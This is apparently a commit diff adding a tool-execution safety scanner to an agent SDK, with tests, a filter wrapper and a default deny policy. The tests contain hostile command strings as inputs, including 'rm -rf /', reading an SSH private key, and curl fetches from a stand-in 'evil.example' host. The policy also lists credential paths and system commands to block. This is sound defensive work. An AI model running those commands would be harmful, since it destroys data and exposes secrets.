feat(safety): add tool execution safety scanner

Core scanner engine with:
- Policy-driven scanning (DeniedCommands/DeniedPaths/NetworkAllowlist/ReviewCommands)
- Shell command analysis (pipeline detection, secret redaction, shell bypass)
- Code block safety checks (bash, python with subprocess detection)
- 12 core test cases aligned with Go reference implementation
- 500-line batch scan verified < 1s
- Filter integration via ToolSafetyFilter (FilterABC subclass)

34 tests passed. Mirrors trpc-agent-go/tool/safety/.

Signed-off-by: coder-mtj <coder-mtj@users.noreply.github.com>

Author: coder-mtj

tests/tools/safety/test_scanner.py

@@ -0,0 +1,128 @@
+# Tencent is pleased to support the open source community by making
+# tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+
+"""Core scanner tests — 12 required samples + edge cases."""
+
+import pytest
+from trpc_agent_sdk.tools.safety._types import (
+    Request, CodeBlock, DECISION_ALLOW, DECISION_DENY,
+    DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
+    RISK_LOW, RISK_HIGH, RISK_CRITICAL,
+)
+from trpc_agent_sdk.tools.safety._policy import default_policy
+from trpc_agent_sdk.tools.safety._scanner import scan
+
+
+POLICY = default_policy()
+
+
+# ========== 12 core test cases (aligned with Go reference) ==========
+
+def test_safe_go_test():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="go test ./..."), POLICY)
+    assert report.decision == DECISION_ALLOW
+
+def test_dangerous_delete():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="rm -rf /"), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "dangerous.rm_rf"
+
+def test_read_key():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat ~/.ssh/id_rsa"), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "sensitive.path_access"
+
+def test_non_whitelist_network():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "network.non_whitelisted_domain"
+
+def test_whitelist_network():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), POLICY)
+    assert report.decision == DECISION_ALLOW
+
+def test_shell_bypass():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "shell.bypass"
+
+def test_pipeline_review():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat README.md | wc -l"), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "shell.pipeline_review"
+
+def test_dependency_install():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="npm install left-pad"), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "dependency.environment_change"
+
+def test_long_sleep():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="sleep 9999"), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "resource.long_sleep"
+
+def test_hostexec_long_session():
+    report = scan(Request(
+        tool_name="exec_command", backend="hostexec",
+        command="tail -f app.log", tty=True, background=True,
+    ), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "hostexec.long_session"
+
+def test_code_block_host_bridge():
+    report = scan(Request(
+        tool_name="execute_code", backend="codeexec",
+        code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")],
+    ), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "codeexec.host_command_bridge"
+
+def test_secret_leak():
+    report = scan(Request(
+        tool_name="workspace_exec", backend="workspaceexec",
+        command="echo OPENAI_API_KEY=sk-1234567890abcdef",
+    ), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "sensitive.secret_leak"
+
+
+# ========== Edge case tests ==========
+
+def test_empty_command():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command=""), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "command.empty"
+
+def test_denied_cwd():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="ls", cwd="~/.ssh"), POLICY)
+    assert report.decision == DECISION_DENY
+    assert report.rule_id == "sensitive.cwd_access"
+
+def test_chmod_recursive():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="chmod -R 777 ."), POLICY)
+    assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
+    assert report.rule_id == "dangerous.recursive_chmod"
+
+def test_500_line_scan_under_1s():
+    import time
+    code = "\n".join(['print(f"line {i}")' for i in range(500)])
+    start = time.time()
+    report = scan(Request(
+        tool_name="execute_code", backend="codeexec",
+        code_blocks=[CodeBlock(language="python", code=code)],
+    ), POLICY)
+    elapsed = time.time() - start
+    assert elapsed < 1.0, f"500-line scan took {elapsed:.2f}s"
+    assert report.decision == DECISION_ALLOW
+
+def test_unicode_command():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo 你好世界"), POLICY)
+    assert report.decision == DECISION_ALLOW
+
+def test_none_policy_defaults():
+    report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo hi"), None)
+    assert report.decision == DECISION_ALLOW

trpc_agent_sdk/tools/safety/__init__.py

@@ -1,4 +1,37 @@
 # Package safety provides a pre-execution safety guard for command and
 # code-execution tools.
 #
+# Usage::
+#
+#   from trpc_agent_sdk.tools.safety import scan, default_policy, ToolSafetyFilter
+#
+#   policy = default_policy()
+#   report = scan(Request(command="rm -rf /"), policy)
+#   assert report.decision == DECISION_DENY
+#
 # Mirrors trpc-agent-go/tool/safety/.
+
+from ._types import (
+    Decision, RiskLevel, Finding, Report, AuditEvent,
+    Policy, Request, CodeBlock,
+    DECISION_ALLOW, DECISION_DENY, DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
+    RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL,
+    decision_rank, risk_rank, finding_beats,
+)
+from ._policy import default_policy, load_policy
+from ._scanner import scan
+from ._permission import ToolSafetyFilter, SAFETY_FILTER_NAME
+
+__all__ = [
+    # Types.
+    "Decision", "RiskLevel", "Finding", "Report", "AuditEvent",
+    "Policy", "Request", "CodeBlock",
+    # Constants.
+    "DECISION_ALLOW", "DECISION_DENY", "DECISION_ASK", "DECISION_NEEDS_HUMAN_REVIEW",
+    "RISK_LOW", "RISK_MEDIUM", "RISK_HIGH", "RISK_CRITICAL",
+    # Core API.
+    "scan", "default_policy", "load_policy",
+    "decision_rank", "risk_rank", "finding_beats",
+    # Filter integration.
+    "ToolSafetyFilter", "SAFETY_FILTER_NAME",
+]

trpc_agent_sdk/tools/safety/_permission.py

@@ -0,0 +1,133 @@
+# Tencent is pleased to support the open source community by making
+# tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+
+"""Permission policy integration for the tool safety scanner.
+
+Wraps the scanner as a tool-level Filter so that every tool
+invocation is checked before execution.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+from typing import Any
+
+from trpc_agent_sdk.abc import FilterABC, FilterResult, FilterType
+from trpc_agent_sdk.context import AgentContext
+
+from ._types import Request, CodeBlock, DECISION_DENY, DECISION_ALLOW
+from ._scanner import scan
+from ._policy import default_policy, Policy
+
+logger = logging.getLogger(__name__)
+
+SAFETY_FILTER_NAME = "tool_safety_guard"
+
+
+class ToolSafetyFilter(FilterABC):
+    """Pre-execution safety filter for tool calls.
+
+    Scans commands and code blocks before they are executed by
+    workspace_exec, exec_command, or execute_code tools.
+    """
+
+    def __init__(self, policy: Policy | None = None) -> None:
+        self._policy = policy or default_policy()
+        self._name = SAFETY_FILTER_NAME
+        self._type = FilterType.TOOL
+
+    @property
+    def name(self) -> str:
+        return self._name
+
+    @property
+    def type(self) -> FilterType:
+        return self._type
+
+    async def _before(
+        self, ctx: AgentContext, req: Any, rsp: FilterResult,
+    ) -> None:
+        """Scan tool arguments before execution."""
+        if req is None:
+            return
+
+        scan_req = _to_scan_request(req)
+        if scan_req is None:
+            return  # Not a scannable tool.
+
+        report = scan(scan_req, self._policy)
+
+        if report.decision == DECISION_DENY:
+            rsp.error = PermissionError(
+                f"Tool safety guard blocked: {report.recommendation}"
+            )
+            rsp.is_continue = False
+            logger.warning(
+                "safety_guard blocked tool=%s decision=%s rule=%s",
+                scan_req.tool_name, report.decision.value, report.rule_id,
+            )
+        elif report.decision != DECISION_ALLOW:
+            logger.info(
+                "safety_guard %s tool=%s rule=%s",
+                report.decision.value, scan_req.tool_name, report.rule_id,
+            )
+
+    async def _after(
+        self, ctx: AgentContext, req: Any, rsp: FilterResult,
+    ) -> None:
+        pass  # No post-execution check needed.
+
+
+def _to_scan_request(tool_req: Any) -> Request | None:
+    """Convert a tool invocation to a safety scan Request."""
+    if not hasattr(tool_req, "tool_name"):
+        return None
+
+    tool_name = getattr(tool_req, "tool_name", "")
+    if tool_name not in ("workspace_exec", "exec_command", "execute_code"):
+        return None
+
+    args_raw = getattr(tool_req, "arguments", None)
+    if args_raw is None:
+        return Request(tool_name=tool_name)
+
+    if isinstance(args_raw, bytes):
+        args_raw = args_raw.decode("utf-8", errors="replace")
+    if isinstance(args_raw, str):
+        try:
+            args_raw = json.loads(args_raw)
+        except json.JSONDecodeError:
+            pass
+    if not isinstance(args_raw, dict):
+        return Request(tool_name=tool_name)
+
+    command = str(args_raw.get("command", "") or args_raw.get("cmd", "") or
+                   args_raw.get("script", "") or args_raw.get("code", "") or "")
+    code_blocks_raw = args_raw.get("code_blocks")
+    code_blocks: list[CodeBlock] = []
+    if code_blocks_raw:
+        if isinstance(code_blocks_raw, list):
+            for cb in code_blocks_raw:
+                if isinstance(cb, dict):
+                    code_blocks.append(CodeBlock(
+                        language=str(cb.get("language", "")),
+                        code=str(cb.get("code", "")),
+                    ))
+
+    return Request(
+        tool_name=tool_name,
+        command=command,
+        cwd=str(args_raw.get("cwd", "") or args_raw.get("workdir", "")),
+        env=args_raw.get("env") if isinstance(args_raw.get("env"), dict) else {},
+        backend="hostexec" if tool_name == "exec_command" else
+                "codeexec" if tool_name == "execute_code" else "workspaceexec",
+        timeout_seconds=int(args_raw.get("timeout_sec", 0) or args_raw.get("timeout", 0) or 0),
+        background=bool(args_raw.get("background", False)),
+        tty=bool(args_raw.get("tty", False) or args_raw.get("pty", False)),
+        code_blocks=code_blocks,
+    )

trpc_agent_sdk/tools/safety/_policy.py

@@ -0,0 +1,82 @@
+# Tencent is pleased to support the open source community by making
+# tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+
+"""Safety policy definitions. Mirrors trpc-agent-go/tool/safety/safety.go."""
+
+from __future__ import annotations
+
+import json
+import os
+from pathlib import Path
+
+import yaml
+
+from ._types import Policy
+
+
+def default_policy() -> Policy:
+    """Return a conservative default safety policy."""
+    return Policy(
+        denied_commands=[
+            "dd", "mkfs", "mount", "umount", "shutdown", "reboot",
+            "halt", "poweroff", "sudo", "su", "doas",
+        ],
+        denied_paths=[
+            "/", "/bin", "/boot", "/dev", "/etc", "/lib", "/lib64",
+            "/proc", "/root", "/sbin", "/sys", "/usr", "/var",
+            "~/.ssh", ".ssh", ".env", ".npmrc", ".pypirc",
+            "id_rsa", "id_ed25519", "credentials", "credential",
+            "secrets", "secret",
+        ],
+        network_allowlist=[
+            "api.github.com", "github.com", "proxy.golang.org",
+            "sum.golang.org", "registry.npmjs.org", "pypi.org",
+            "files.pythonhosted.org",
+        ],
+        env_allowlist=[
+            "PATH", "HOME", "TMPDIR", "TEMP", "TMP", "LANG", "LC_ALL",
+            "CGO_ENABLED", "GOCACHE", "GOMODCACHE", "GOPATH",
+        ],
+        review_commands=[
+            "go install", "npm install", "npm ci", "pip install",
+            "pip3 install", "apt install", "apt-get install",
+            "brew install", "cargo install",
+        ],
+        max_timeout_seconds=300,
+        max_output_bytes=4 * 1024 * 1024,
+        review_shell_pipelines=True,
+        deny_on_parse_error=True,
+    )
+
+
+def load_policy(path: str | Path) -> Policy:
+    """Load a JSON or YAML policy file, merging with defaults.
+
+    Args:
+        path: Path to .json or .yaml/.yml policy file.
+
+    Returns:
+        A Policy with file values overlaid on defaults.
+    """
+    path = Path(path)
+    raw_bytes = path.read_bytes()
+
+    if path.suffix.lower() in (".yaml", ".yml", ""):
+        raw = yaml.safe_load(raw_bytes) or {}
+    elif path.suffix.lower() == ".json":
+        raw = json.loads(raw_bytes)
+    else:
+        raise ValueError(f"Unsupported policy extension: {path.suffix}")
+
+    # Start from safe defaults.
+    policy = default_policy()
+
+    for key, value in raw.items():
+        if hasattr(policy, key):
+            setattr(policy, key, value)
+
+    return policy